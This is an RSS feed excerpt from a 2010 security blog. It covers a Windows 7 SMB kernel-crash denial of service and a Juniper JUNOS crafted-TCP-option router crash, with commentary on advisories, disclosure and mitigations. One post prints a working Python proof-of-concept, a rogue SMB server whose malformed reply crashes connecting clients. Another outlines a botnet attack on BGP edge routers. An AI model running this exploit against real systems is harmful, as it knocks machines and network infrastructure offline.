<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/feed/</wfw:commentRss>
		<slash:comments>66</slash:comments>
		</item>
		<item>
		<title>Windows 7 SMB Kernel Crash Video</title>
		<link>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:27:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2997</guid>
		<description><![CDATA[Back <a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié's remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when for example a user is tricked into clicking on a link to a malicious SMB share on a web page. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/patch_tuesday.jpeg" alt="patch_tuesday" title="patch_tuesday" width="126" height="129" class="alignleft size-full wp-image-3014" /></a></p>

<p><a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">Back on November 11th, 2009</a> we confirmed <a href="http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html">Laurent Gaffié&#8217;s remote exploit</a> for Windows that causes a kernel crash. The operating system actually freezes creating a denial of service when, for example, a user is tricked into clicking on a link on a web page to a malicious SMB share request. The SMB client goes into an infinite loop when processing this malformed request according to Microsoft. The video below demonstrates this effect, having a user click a web site link and showing the crash.</p>

<blockquote>
  <p>&#8220;We are not aware of any active attacks using the exploit code that was made public for this vulnerability&#8221; <br />Jerry Bryant, Microsoft</p>
</blockquote>

<p>Microsoft discusses this problem under <a href="http://www.microsoft.com/technet/security/advisory/977544.mspx">Security Advisory 977544</a>. The Security Response Center (MSRC) blog announced last Thursday that <a href="http://blogs.technet.com/msrc/archive/2010/01/07/january-2010-bulletin-release-advance-notification.aspx">it would not correct</a> this bug in this month&#8217;s patch release. The MSFT advisory initially discusses ingress rules for firewalls (rules for requests coming from the Internet) under mitigating factors, which would not be helpful in the case of a user making the request by clicking a link. It then catches this though under &#8216;Workarounds&#8217; by stating to &#8220;block all SMB communications to and from the Internet to help prevent attacks&#8221;, which is a correct approach.</p>

<h3>Windows 7 SMB Crash Video</h3>

<p>People seem to be having a hard time visualizing this attack. The video below demonstrates first the crash itself, and then simulates a user clicking a link to a malformed SMB request.</p>

<p><object width="751" height="366"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8731397&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="751" height="366"></embed></object></p>

<h3>Test Code</h3>

<p>Here is the Python code used for testing, based on Gaffie&#8217;s original post:</p>

<pre><code>import SocketServer as a
packet = "\x00\x00\x00\x9a"
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
class x(a.BaseRequestHandler):
  def handle(s):
      print "You connecting to me: %s"%(s.client_address[0])
      i = s.request.recv(1024)
      s.request.send(packet)
      s.request.close()
print "Waiting for the victim to connect to my open port 445"
launch = a.TCPServer(('', 445),x)
launch.serve_forever()
</code></pre>

<h3>SMB</h3>

<p>Server Message Block or <a href="http://en.wikipedia.org/wiki/Server_Message_Block">SMB is an application-layer network protocol</a> commonly used by Microsoft Windows to share files over the Local Area Network (LAN).</p>

<h3>Finally</h3>

<p>Many ISP&#8217;s will block requests associated with the SMB protocol for home broadband Internet connections in reaction to past remote threats that use the SMB port. For businesses, unless good egress rules are in place (many times they are not), this attack is a realistic threat. Good egress rules will block it, and should already be in place for other potential threats if not already there. This provides a good excuse to check.</p>

<p>Microsoft has yet to release a scheduled fix date for this. While not as problematic as say an exploit that allows for code injection, a remotely exploitable DOS attack that remains announced and in zero day status for more than two months likely does merit attention in February&#8217;s patch Tuesday release.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>JUNOS (Juniper) Kernel Crash Video</title>
		<link>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 01:28:52 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[router]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2863</guid>
		<description><![CDATA[We have noted some interesting responses since <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/">our post yesterday</a> detailing the information in Juniper bulletin PSN-2010-01-623 and our thoughts on its somewhat understated effect. Since our post yesterday, the bulletin has been updated, becoming more specific about the versions affected (basically excluding JUNOS version 10.x and versions no longer supported by Juniper). We have tested all 256 permutations of the Options field in the TCP header, and reproduced the kernel crash, which is demonstrated in the video below.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb1.gif" alt="juniper_thumb" title="juniper_thumb" width="73" height="73" class="alignleft size-full wp-image-2864" /></a></p>

<p>We have noted some interesting responses since <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/">our post yesterday</a> detailing the information in Juniper bulletin PSN-2010-01-623 and our thoughts on its somewhat understated effect. Since our post yesterday, the bulletin has been updated, becoming more specific about the versions affected (basically excluding JUNOS version 10.x and versions no longer supported by Juniper). We&#8217;ve been quoted here and there saying  that <a href="http://www.theregister.co.uk/2010/01/07/juniper_critical_router_bug/">the potential worst case scenario</a> with this flaw could have been widespread Internet outages (not overstatement in our opinion), and that such a simple attack that escapes filtering and <a href="http://www.computerworld.com/s/article/9143342/Juniper_patches_router_crashing_bug">can reboot high end routers is a big deal</a>. We have tested sending all 256 permutations of the Options field in the TCP header to a vulnerable Juniper router operating system, found the correct value, and reproduced the kernel crash, which is demonstrated in the video below.</p>

<p><object width="700" height="674"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8606222&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8606222&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="700" height="674"></embed></object></p>

<p><br />
<a href="http://www.secdev.org/projects/scapy/">SCAPY</a> was used to send the packets used in the test.</p>

<h3>Responses to Our Original Post</h3>

<h4>The Bizarre</h4>

<p>We&#8217;ve seen kind of off the wall responses, like this one:</p>

<p><i>It seems like this isn&#8217;t as major as they say. Sure it&#8217;s a kernel crash, but it requires a packet to be sent to a listening port. I doubt any core routers have any ports open to the public internet at all.</i></p>

<p>In order for a router to function as a router, some TCP ports must be open. The BGP port will be open on a core router. So yes, a core router will not have ports open to the public Internet. The BGP port however will be open to neighbors, and a packet that cannot be filtered negates ACL rules preventing access by anyone but neighbors. At a high level, that is how high end equipment is affected.</p>

<h4>The Official</h4>

<p>We saw the response from Juniper we talked about yesterday repeated again today, which continues to leave something to be desired: <i>A Juniper spokeswoman declined to provide more technical details on the issue, saying that the company only passes on this information to customers and partners. The advisory was one of seven issued recently by the company, she said via e-mail. </i></p>

<p>Yes, there were seven advisories. Six were somewhat less interesting than one of them:</p>

<ul>
<li>PSN-2010-01-627 &#8211; RPD cores when injected with malformed PIM messages &#8211; (As it is not commonly used over the Internet, this issue is confined to the organizations that are running PIM internally)</li>
<li>PSN-2010-01-626 &#8211; BGP Malformed AS-4 Byte Transitive Attributes Drop BGP Sessions &#8211; (If you are running an affected version (there aren&#8217;t many), upgrade ASAP.)</li>
<li>PSN-2010-01-625 &#8211; Invalid RSVP packet causes RPD process busy loop and router becomes unresponsive &#8211; (RSVP is used almost excursively inside a services providers network as part of a larger MPLS Traffic Engineering solution.  Due to the use of MPLS VPN&#8217;s, RSVP in this environment is not exposed to transit traffic or from within the VPN&#8217;s.  The exposure of this is much lower.)</li>
<li>PSN-2010-01-624 &#8211; Unauthorized user can obtain root access using cli &#8211; (Any access escalation issue is a big problem, but in this case for routers, if someone else is able to login and get console access you have other problems that need to be addressed.)</li>
<li>PSN-2010-01-623 &#8211; JUNOS kernel cores when it receives an crafted TCP option. &#8211; (Not so good.)</li>
<li>PSN-2010-01-622 &#8211; as-path-prepend and specific length AS_PATH we can cause a Juniper to send corrupted update packets to eBGP neighbors &#8211;  (BGP as-path-prepend router level configuration that can be corrected by making changes to the config.)</li>
<li>PSN-2010-01-621 Crafted RSVP Path Object Overloads the RPD Process &#8211; (RSVP is used almost exclusively inside a service providers network as part of a larger MPLS Traffic Engineering solution.  Due to the use of MPLS VPN&#8217;s RSVP in this environment is not exposed to transit traffic or from traffic within the VPN&#8217;s.  The exposure of this problem is lower.)</li>
</ul>

<h4>Unofficial, but from Juniper Anyway</h4>

<p>We received <a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/#comments">a response from Matt at Juniper in the comment section</a> of the original post, which we appreciated. He tightened the versions affected information, by noting the mistake in the original Juniper bulletin that stated version 10.x was affected.</p>

<p>Again, thanks for the update Matt.</p>

<h4>Another Unofficial, but from Juniper Anyway</h4>

<p>JuniperPhilly responds in the <a href="http://forums.theregister.co.uk/forum/1/2010/01/07/juniper_critical_router_bug/">comments of the Register article</a> as follows:</p>

<p><i>it&#8217;s probably not as bad as you might think- All Junos software releases built on or after January 28, 2009 have fixed this specific issue. In short, we fixed this particular problem about 350 days ago.
&#8230;.
Disclaimer: I work for Juniper as a Systems Engineer.</i></p>

<p>Well, sort of. The criticality of the defect was certainly reclassified, so the fix made a while back actually seems divorced from the discovery that this problem leads to a kernel crash based on a remote exploit. The Juniper advisory itself reads this way, suggesting that the fix was made without knowing that it was a fix for a remote exploit. This is not that uncommon, problems are fixed for one reason, without ever knowing there was an even better reason for correcting it.</p>

<p>But routers, especially high capacity ones, are only patched for serious reasons. So a defect identified but not reported in the same way back in January 2009 does not carry the affect of releasing a bulletin labeled critical yesterday. The second makes people maintaining those routers move, as the example below shows.</p>

<p><a href="http://news.qwest.com/company">Qwest</a>, like other backbone providers, doesn&#8217;t have unannounced outages for unspecified security concerns over &#8220;not as bad as you might think&#8221; issues:</p>

<pre><code>Date: 2010-01-07 10:04:08 GMT (15 hours and 1 minute ago)
We just had a qwest outage of about 2 mins at 1:41am pst. When I called 
to report it I was told it was a 200+ emergency software upgrade due to 
a security concern, and that we will get a notice later after the fact. 
Normally we get notices in advance, even for software upgrades due to 
security or other important issues, so I am curious if other qwest 
customers had the same experience and wether this is how it's going to 
be from here on in? The affected platform was juniper and I'd love to 
know the specfic case being addressed here.

Mike-
</code></pre>

<p>Source: <a href="http://thread.gmane.org/gmane.org.operators.nanog/71244">http://thread.gmane.org/gmane.org.operators.nanog/71244</a></p>

<p>This thread actually produced interesting responses regarding how the actual notification was published after the outage:</p>

<ul>
<li><i>My QWest account manager called three different people at my business 7hrs before the maintenance. Also mentioned the Juniper Security Advisories.</i> &#8211; Joe</li>
<li><i>We also got email notifications about &#8216;emergency maintenance&#8217; on our Qwest circuits, from their notice: Reason For Maintenance:  EMERGENCY MAINTENANCE TO IMPLEMENT A SOFTWARE PATCH FOR NETWORK RELIABILITY</i> &#8211; Ken</li>
<li><i>Yeah, they refused to notify due to security concerns from what they told me last night. Notification was performed after maintenance was complete.</i> -Jack</li>
<li><i>Same thing for us in Minnesota. Brief outage and emergency outage notification came after the outage.</i> -Dylan</li>
<li><i>Notices were left at the discretion of Qwest account teams.  There was no mass notification.</i> -Jason</li>
</ul>

<p>The thread link above contains this and the rest of this particular discussion.</p>

<h4>The Newsgroups</h4>

<p>We were told the problem wasn&#8217;t corroborated by discussions in newsgroups. It started showing up today:</p>

<ul>
<li><a href="http://thread.gmane.org/gmane.org.operators.nanog/71244">qwest outage no notice</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15350">JUNOS vulnerability with malformed TCP packets</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15366">vulnerability fix not available for 8.5 ?</a></li>
<li><a href="http://thread.gmane.org/gmane.network.nsp.juniper/15356">JUNOS vulnerability with malformed TCP packets</a></li>
</ul>

<h3>Yeah but Cisco makes the Core Routers</h3>

<p>Sigh&#8230;</p>

<p>Not to become public relations for Juniper, but:</p>

<p><i>The innovations listed above, as well as many others, have helped the T Series become the industry&#8217;s most widely deployed core routing family. Juniper has shipped over 5000 T Series to more than 220 customers around the world — including more than 500 T1600s in just over a year of availability. According to Synergy Research, in the past five years, Juniper&#8217;s share of the core routing market has grown by 44 percent — with the company gaining 11 points of share as others have seen share declines.</i>
<br />
Source: <a href="http://www.juniper.net/us/en/company/press-center/press-releases/2009/pr_2009_06_08-09_00.html">http://www.juniper.net/us/en/company/press-center/press-releases/2009/pr_2009_06_08-09_00.html</a></p>

<p>And the following line from the same press release:
<i>All of these platforms are powered by JUNOS® Software, a single operating system integrating routing, switching, security and network services from Juniper Networks. </i></p>

<h3>What about Anti-spoofing and egress filtering</h3>

<pre><code>(Comments From: ANTON DELPORT)

One thing that will also be required for a successful attacked would be spoofed IP packets. 
Keep in mind that most ISP follow the best practice guidelines and implement ACL and 
anti-spoofing. So yes, the router will listen to BGP port but only for a small range 
of prefixes. If the source address (and destination) is not correct, the packet will
be dropped in hardware before it can do any damage.
</code></pre>

<p>Anti-spoofing and egress filtering as recommended by BCP 38 is to help mitigate this issue for routers that are not at the edge.  It does nothing to help the edge routers themselves.  Example:</p>

<ul>
<li>Service provider Alice peers with service provider Bob in NYC. </li>
<li>Alice&#8217;s edge router (<code>10.10.10.1/30</code>) exchanges routes with Bob&#8217;s edge router (<code>10.10.10.2/30</code>) via BGP</li>
<li>Bad actor Charlie sends a JunOS rebooting packets from inside Alice&#8217;s network to <code>10.10.10.2</code></li>
<li>The best path from with in Alice&#8217;s network to reaching <code>10.10.10.2</code> will most likely be the peering connection in NYC. </li>
<li>The packet will <em>NOT</em> be stopped within Alice&#8217;s network as it has a valid return and destination address.  </li>
<li>Bob&#8217;s edge router is <em>NOT</em> able to filter any of the JunOS rebooting packets due to ACL&#8217;s not having any effect on this issue.</li>
<li>Even if the bad actor Charlie is several networks away from Bob, should his packet pass through Alice&#8217;s network, it will hit Bob&#8217;s edge and cause the same harm. </li>
</ul>

<p>The reason why this issue is real is that I can identify border networks simply with <code>traceroute</code>, and I know that BGP is used to exchange routes. Given this information there is nothing to protect providers if they are running an affected version of the software at the edge of their network.</p>

<h3>Finally</h3>

<p>So people are attaching viewpoints to this problem that don&#8217;t entirely make sense. A high end router is not the same as your local Microsoft Windows OS, it doesn&#8217;t get updated every month following Tuesday, it gets updated when a network administrator determines there is a problem severe enough to warrant an outage to make the patch update. Many of the &#8220;big iron&#8221; routers that would have been affected had this been out in the wild (which as far as we know its not yet) were not patched as of Monday, and from all appearances were patched as of late Tuesday.</p>

<p>Juniper is a major player in the high end router market, it is not a one player market. If an unpatched Juniper router were hit with this packet, it would crash.</p>

<p>But let&#8217;s walk through a thought experiment for the &#8220;this wouldn&#8217;t have been a big deal if uncorrected&#8221; crowd:</p>

<p>Watch the video above, the OS reboot takes a while on a virtual machine (big routers take longer). Imagine a bot net being rented to run the program that was developed for the video above at a certain time (say midnight). Conceive of the bad actor identifying boundary routers between service providers (traceroute), and sending the crafted packet to the BGP port of both side&#8217;s IP addresses, rebooting boxes, and severing BGP connections. Even after reboot, the effects are magnified as a BGP convergence happens globally.</p>

<p>You can rent a decent size botnet on the Internet right now if you like. The program above that found the right option to send took a couple hours to write (on and off with other things going on), the actual option field that causes the problem identified fairly quickly after that. The second program that sends the packet is just a small python script.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/101_Dalmatians_Puppies_1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/101_Dalmatians_Puppies_1.gif" alt="101_Dalmatians_Puppies_1" title="101_Dalmatians_Puppies_1" width="176" height="175" class="alignleft size-full wp-image-2894" /></a></p>

<p>This hypothetical scenario would have been a long day on the old Intertubes. I&#8217;m sure there are details to be worked out (if you crash enough gateways, can you continue the attack?), but you get the idea.</p>

<p>So let&#8217;s be realistic as we go into the automatic &#8220;nothing is ever really a big issue, everything is FUD&#8221; reactive mode that so often follows news in information security. Remote exploits are still bad. Ones that cause kernel crashes are still bad. Remote exploits that cause kernel crashes in one of the most widely used network operating systems in the world are bad. Identifying security issues that are critical, responding to them appropriately, sending out bulletins with appropriate CVSS ratings, and avoiding big potential problems like this, are good. We can&#8217;t call it a total win (its not hard to find the option value, and so this could enter the wild shortly), but it looks from the outside like large providers have taken preventative steps to be prepared.</p>

<p>And if anyone else noticed Twitter seemed to have its own blackout, of Juniper personnel, as none of them have been tweeting a whole lot this week.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>JUNOS (Juniper) Flaw Exposes Core Routers to Kernel Crash</title>
		<link>http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 22:23:17 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[core routers]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[tcp]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2812</guid>
		<description><![CDATA[A report has been received from Juniper at 4:25pm under bulletin PSN-2010-01-623 that a crafted malformed TCP field option in the TCP header of a packet will cause the JUNOS kernel to core (crash). In other words the kernel on the network device (gateway router) will crash and reboot if a packet containing this crafted option is received on a listening TCP port. The JUNOS firewall filter is unable to filter a TCP packet with this issue. Juniper claims this issue as exploit was identified during investigation of a vendor interoperability issue.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/juniper_thumb.gif" alt="juniper_thumb" title="juniper_thumb" width="73" height="73" class="alignleft size-full wp-image-2817" /></a></p>

<p>A report has been received from Juniper at 4:25pm under bulletin PSN-2010-01-623 that a crafted malformed TCP field option in the TCP header of a packet will cause the JUNOS kernel to core (crash). In other words the kernel on the network device (gateway router) will crash and reboot if a packet containing this crafted option is received on a listening TCP port. The JUNOS firewall filter is unable to filter a TCP packet with this issue. Juniper claims this issue as exploit was identified during investigation of a vendor interoperability issue.</p>

<p>There is talk that backbone Internet providers have been quickly patching this issue since yesterday night.</p>

<h3>TCP Header Option Space</h3>

<p>&#8220;Options occupy space at the end of the TCP header. All options are included in the checksum. An option may begin on any byte boundary. The TCP header must be padded with zeros to make the header length a multiple of 32 bits.&#8221; (Source: http://www.networksorcery.com/enp/protocol/tcp.htm)</p>

<div id="attachment_2819" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/tcp_header1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/tcp_header1-300x124.jpg" alt="The TCP Header" title="tcp_header1" width="300" height="124" class="size-medium wp-image-2819" /></a><p class="wp-caption-text">The TCP Header</p></div>
Source: http://www.software-engineer-training.com/wp-content/uploads/2007/12/tcp_header.png</p>

<h3>The Kernel</h3>

<p>At a high level, the kernel in an operating system serves as the bridge between applications and the actual data processing of the hardware the OS is running on. The kernel manages system resources and abstracts resources that applications must access.</p>

<p><div id="attachment_2837" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/kernel.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/kernel-300x237.png" alt="Basic Kernel Representation" title="kernel" width="300" height="237" class="size-medium wp-image-2837" /></a><p class="wp-caption-text">Basic Kernel Representation</p></div>

<h3>Affected Devices</h3>

<p>It is basically all of them save the more recent version. If you&#8217;ve installed a device with a JUNOS release version released later then 1/28/09, this issue is already corrected. Apparently the original issue and its correction did not conceive of this problem as a security vulnerability, and thus the criticality of applying the patch was not initially understood until this week.</p>

<ul>
<li>JUNOS 10.x  (Removed from the bulletin today, 01/07/09, so assumed to not be affected)</li>
<li>JUNOS 9.x</li>
<li>JUNOS 7.x</li>
<li>JUNOS 8.x</li>
</ul>

<p>Please note the versions below were removed from the bulletin today, 01/07/09. This is likely because, as Matt pointed out below, these <a href="http://www.juniper.net/support/eol/junos.html">are end of life versions</a> of the OS (meaning likely still vulnerable if you happen to be running them, but out of scope for Juniper because from their standpoint these should already have been upgraded).</p>

<ul>
<li>JUNOS 6.x</li>
<li>JUNOS 5.x</li>
<li>JUNOS 3.x</li>
<li>JUNOS 4.x</li>
</ul>

<h3>Juniper&#8217;s Advice</h3>

<p>Juniper references best common practice (BCP) 38, a methodology for reducing the amount of bad packets being forwarded by network devices (basically prohibiting packets where the originator can&#8217;t effectively be identified), as a possible mitigating control.</p>

<p>However there is no completely effective workaround available other then upgrading the OS.</p>

<h3>Update</h3>

<p>Juniper responded to <a href="http://www.theregister.co.uk/2010/01/07/juniper_critical_router_bug/">the Register</a> as follows: &#8220;that the bulletin was one of seven security advisories the company issued under a policy designed to prevent members of the public at large from getting details of the vulnerabilities.&#8221;</p>

<blockquote>
  <p>&#8220;Because of Juniper&#8217;s &#8216;Entitled Disclosure Policy,&#8217; only our customers and partners are allowed access to the details of the Security Advisory,&#8221; <br /> &#8211; Juniper spokeswoman</p>
</blockquote>

<p>Interesting approach, and probably would be better received if vulnerabilities only affected those entitled. Unfortunately the networks that run high end Juniper equipment serve a great many end users, and thus in this case the general public would probably like some informed background. At the point the media is contacting you, it is safe to say the &#8220;cat is out of the bag&#8221;. And this is the response from a company that is a strong player in the information security appliance space?</p>

<p>The flip side is that the Juniper response to this issue from a technical perspective has appeared to be at first glance fairly comprehensive, a PR opportunity if managed correctly.</p>

<p>And yes, this is the same firm that feels <a href="http://www.theregister.co.uk/2009/06/30/atm_talk_canceled/">this way</a> when it is they who are discussing the vulnerability of someone else&#8217;s product: &#8220;Juniper believes that Jack&#8217;s research (on ATM vulnerabilities) is important to be presented in a public forum in order to advance the state of security,&#8221;.</p>

<p>We agree with the second Juniper: more education, especially after the problem has been corrected, is better.</p>

<h3>Finally</h3>

<p>More information will be posted as it becomes available. This was a serious issue which appears to have been averted through a coordinated response. Essentially, given the core equipment (big Telco routers) running &#8220;Big Iron&#8221; type Juniper network devices, portions of the Internet could have gone black with a successful implementation of this exploit. Routers at this level are not patched like your local Windows OS, it takes something important to justify an outage. As previously noted, even though the code problem itself was identified last year, it appears that the problem was not identified as a mechanism for creating a remote exploit until now, raising the criticality of patching the issue severely.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/scareware-purveyors-spammers-and-crooks-take-advantage-of-haiti-earthquake/">Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Remote SMB Exploit: Crashing Windows 7 and Server 2008</title>
		<link>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 21:16:28 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[kernal]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/</guid>
		<description><![CDATA[Python code was posted today by Laurent Gaffie on <a href="http://g-laurent.blogspot.com/" target="_blank">his blog</a>, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is. In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/pc_guy.jpg"><img class="alignleft size-thumbnail wp-image-1585" title="pc_guy" alt="pc_guy" src="http://praetorianprefect.com/wp-content/uploads/2009/11/pc_guy-130x150.jpg" width="110" height="130" /></a></p>

